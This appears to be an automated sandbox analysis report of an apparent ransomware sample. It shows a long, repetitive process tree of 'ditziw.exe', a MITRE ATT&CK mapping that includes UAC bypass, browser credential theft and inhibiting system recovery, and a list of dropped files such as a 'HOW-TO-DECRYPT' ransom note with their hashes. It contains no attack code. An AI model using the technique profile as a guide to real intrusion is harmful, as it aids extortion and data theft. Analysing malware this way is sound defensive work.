                                                                                      • C:\Windows\ditziw.exe
                                                                                        C:\Windows\ditziw.exe
                                                                                        1⤵
                                                                                          PID:9656
                                                                                        • C:\Windows\ditziw.exe
                                                                                          C:\Windows\ditziw.exe
                                                                                          1⤵
                                                                                            PID:9800
                                                                                          • C:\Windows\ditziw.exe
                                                                                            C:\Windows\ditziw.exe
                                                                                            1⤵
                                                                                              PID:6588
                                                                                            • C:\Windows\ditziw.exe
                                                                                              C:\Windows\ditziw.exe
                                                                                              1⤵
                                                                                                PID:2964
                                                                                              • C:\Windows\ditziw.exe
                                                                                                C:\Windows\ditziw.exe
                                                                                                1⤵
                                                                                                  PID:9588
                                                                                                • C:\Windows\ditziw.exe
                                                                                                  C:\Windows\ditziw.exe
                                                                                                  1⤵
                                                                                                    PID:9824
                                                                                                  • C:\Windows\ditziw.exe
                                                                                                    C:\Windows\ditziw.exe
                                                                                                    1⤵
                                                                                                      PID:6364
                                                                                                    • C:\Windows\ditziw.exe
                                                                                                      C:\Windows\ditziw.exe
                                                                                                      1⤵
                                                                                                        PID:5612
                                                                                                      • C:\Windows\ditziw.exe
                                                                                                        C:\Windows\ditziw.exe
                                                                                                        1⤵
                                                                                                          PID:7160
                                                                                                        • C:\Windows\ditziw.exe
                                                                                                          C:\Windows\ditziw.exe
                                                                                                          1⤵
                                                                                                            PID:6512
                                                                                                          • C:\Windows\ditziw.exe
                                                                                                            C:\Windows\ditziw.exe
                                                                                                            1⤵
                                                                                                              PID:6896
                                                                                                            • C:\Windows\ditziw.exe
                                                                                                              C:\Windows\ditziw.exe
                                                                                                              1⤵
                                                                                                                PID:5916
                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                C:\Windows\ditziw.exe
                                                                                                                1⤵
                                                                                                                  PID:8636
                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                  1⤵
                                                                                                                    PID:3500
                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                    1⤵
                                                                                                                      PID:6412
                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                      1⤵
                                                                                                                        PID:6944
                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                        1⤵
                                                                                                                          PID:8364
                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                          1⤵
                                                                                                                            PID:9940
                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                            1⤵
                                                                                                                              PID:6960
                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                              1⤵
                                                                                                                                PID:9668
                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                1⤵
                                                                                                                                  PID:1732
                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:4984
                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                    1⤵
                                                                                                                                      PID:5076
                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                      1⤵
                                                                                                                                        PID:7452
                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                        1⤵
                                                                                                                                          PID:3236
                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                          1⤵
                                                                                                                                            PID:7144
                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                            1⤵
                                                                                                                                              PID:5516
                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                              1⤵
                                                                                                                                                PID:7056
                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:2728
                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                  1⤵
                                                                                                                                                    PID:10084
                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                    1⤵
                                                                                                                                                      PID:8484
                                                                                                                                                      • C:\Windows\TEMP\hrl8BC3.tmp
                                                                                                                                                        C:\Windows\TEMP\hrl8BC3.tmp
                                                                                                                                                        2⤵
                                                                                                                                                          PID:10124
                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                        1⤵
                                                                                                                                                          PID:1464
                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                          1⤵
                                                                                                                                                            PID:6876
                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                            1⤵
                                                                                                                                                              PID:4504
                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                              1⤵
                                                                                                                                                                PID:3916
                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:8436
                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:6084
                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2456
                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:10204
                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:10028
                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:9912
                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5836
                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:8008
                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:2956
                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:1792
                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5860
                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:9024
                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:7468
                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:7284
                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:8908
                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:6704
                                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:6328
                                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:2948
                                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:6100
                                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:9872
                                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:292
                                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:6164
                                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:4492
                                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:4692
                                                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:8904
                                                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:5932
                                                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:6516
                                                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:5668
                                                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:8552
                                                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:7048
                                                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:5868
                                                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:10144
                                                                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:8464
                                                                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:4352
                                                                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:9916
                                                                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:9820
                                                                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:6888
                                                                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:7820
                                                                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:8776
                                                                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:5892
                                                                                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:6700
                                                                                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:5940
                                                                                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:8836
                                                                                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:10076
                                                                                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:6424
                                                                                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:7344
                                                                                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:5228
                                                                                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:1328
                                                                                                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:8852
                                                                                                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:6436
                                                                                                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:6212
                                                                                                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:7556
                                                                                                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:7420
                                                                                                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:9392
                                                                                                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:7260
                                                                                                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:6584
                                                                                                                                                                                                                                                                              • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:6304
                                                                                                                                                                                                                                                                                • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                  C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:7228
                                                                                                                                                                                                                                                                                  • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                    C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:7004
                                                                                                                                                                                                                                                                                    • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                      C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:7348
                                                                                                                                                                                                                                                                                      • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                        C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:3948
                                                                                                                                                                                                                                                                                        • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                          C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:5524
                                                                                                                                                                                                                                                                                          • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                            C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:7320
                                                                                                                                                                                                                                                                                            • C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                              C:\Windows\ditziw.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:5468

                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                              Reconnaissance

                                                                                                                                                                                                                                                                                              Resource Development

                                                                                                                                                                                                                                                                                              Initial Access

                                                                                                                                                                                                                                                                                              Execution

                                                                                                                                                                                                                                                                                              Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1059

                                                                                                                                                                                                                                                                                              PowerShell

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1059.001

                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053.005

                                                                                                                                                                                                                                                                                              Windows Management Instrumentation

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1047

                                                                                                                                                                                                                                                                                              Persistence

                                                                                                                                                                                                                                                                                              Account Manipulation

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1098

                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                              Winlogon Helper DLL

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1547.004

                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                              Windows Service

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1543.003

                                                                                                                                                                                                                                                                                              Event Triggered Execution

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1546

                                                                                                                                                                                                                                                                                              Change Default File Association

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1546.001

                                                                                                                                                                                                                                                                                              Netsh Helper DLL

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1546.007

                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053.005

                                                                                                                                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1548

                                                                                                                                                                                                                                                                                              Bypass User Account Control

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1548.002

                                                                                                                                                                                                                                                                                              Account Manipulation

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1098

                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                              Winlogon Helper DLL

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1547.004

                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                              Windows Service

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1543.003

                                                                                                                                                                                                                                                                                              Event Triggered Execution

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1546

                                                                                                                                                                                                                                                                                              Change Default File Association

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1546.001

                                                                                                                                                                                                                                                                                              Netsh Helper DLL

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1546.007

                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053.005

                                                                                                                                                                                                                                                                                              Defense Evasion

                                                                                                                                                                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1548

                                                                                                                                                                                                                                                                                              Bypass User Account Control

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1548.002

                                                                                                                                                                                                                                                                                              Direct Volume Access

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1006

                                                                                                                                                                                                                                                                                              Hide Artifacts

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1564

                                                                                                                                                                                                                                                                                              Hidden Files and Directories

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1564.001

                                                                                                                                                                                                                                                                                              Impair Defenses

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1562

                                                                                                                                                                                                                                                                                              Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1562.004

                                                                                                                                                                                                                                                                                              Disable or Modify Tools

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1562.001

                                                                                                                                                                                                                                                                                              Indicator Removal

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1070

                                                                                                                                                                                                                                                                                              File Deletion

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1070.004

                                                                                                                                                                                                                                                                                              Modify Registry

                                                                                                                                                                                                                                                                                              8
                                                                                                                                                                                                                                                                                              T1112

                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                              Credential Access

                                                                                                                                                                                                                                                                                              Credentials from Password Stores

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1555

                                                                                                                                                                                                                                                                                              Credentials from Web Browsers

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1555.003

                                                                                                                                                                                                                                                                                              Windows Credential Manager

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1555.004

                                                                                                                                                                                                                                                                                              Unsecured Credentials

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1552

                                                                                                                                                                                                                                                                                              Credentials In Files

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1552.001

                                                                                                                                                                                                                                                                                              Discovery

                                                                                                                                                                                                                                                                                              Browser Information Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1217

                                                                                                                                                                                                                                                                                              Network Service Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1046

                                                                                                                                                                                                                                                                                              Peripheral Device Discovery

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1120

                                                                                                                                                                                                                                                                                              Permission Groups Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1069

                                                                                                                                                                                                                                                                                              Local Groups

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1069.001

                                                                                                                                                                                                                                                                                              Query Registry

                                                                                                                                                                                                                                                                                              9
                                                                                                                                                                                                                                                                                              T1012

                                                                                                                                                                                                                                                                                              Remote System Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1018

                                                                                                                                                                                                                                                                                              System Information Discovery

                                                                                                                                                                                                                                                                                              8
                                                                                                                                                                                                                                                                                              T1082

                                                                                                                                                                                                                                                                                              System Location Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1614

                                                                                                                                                                                                                                                                                              System Language Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1614.001

                                                                                                                                                                                                                                                                                              System Network Configuration Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1016

                                                                                                                                                                                                                                                                                              Internet Connection Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1016.001

                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                              Lateral Movement

                                                                                                                                                                                                                                                                                              Collection

                                                                                                                                                                                                                                                                                              Data from Local System

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1005

                                                                                                                                                                                                                                                                                              Email Collection

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1114

                                                                                                                                                                                                                                                                                              Command and Control

                                                                                                                                                                                                                                                                                              Exfiltration

                                                                                                                                                                                                                                                                                              Impact

                                                                                                                                                                                                                                                                                              Defacement

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1491

                                                                                                                                                                                                                                                                                              Inhibit System Recovery

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1490

                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                              • C:\HOW-TO-DECRYPT-jjj9b.txt
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                3KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                192dce4f5d1c2c27b256fc4224bb6414

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                4af78801f8968426c6a62c68ad576229dced01c3

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                28646eb5acc3da4adffec688931928168681ee1b5ffcef9f043ba8033013bd56

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                4217a8c3ffe9266188f80b8857734bd809668bab97efdbfa1781c2908dde3b6b5d2f940c1ffd00aec862281b9a32db82204b19e9e7e1b234474d3deb66b4b1c8

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe.id-B93043C2.[[email protected]].pdf
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                2.9MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                0d8eb77809c9ed9e82556fa567e19ba7

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                d962bd20087c513adb1919c9cec888cce6a6c6da

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                85df5f8be668c260459f55a17867761dd046ee14e4bf5763730f9e2f4f5ef259

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                472c262de4f0f5de3a3d8ec102fd335b7aca94a81283e85edfbfd31300a25117a5b49a9198b93d103c6d6621951e3f5c19b05a257d53e16e4cb30eea847a1c6d

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\RCX8ABD.tmp
                                                                                                                                                                                                                                                                                                Filesize

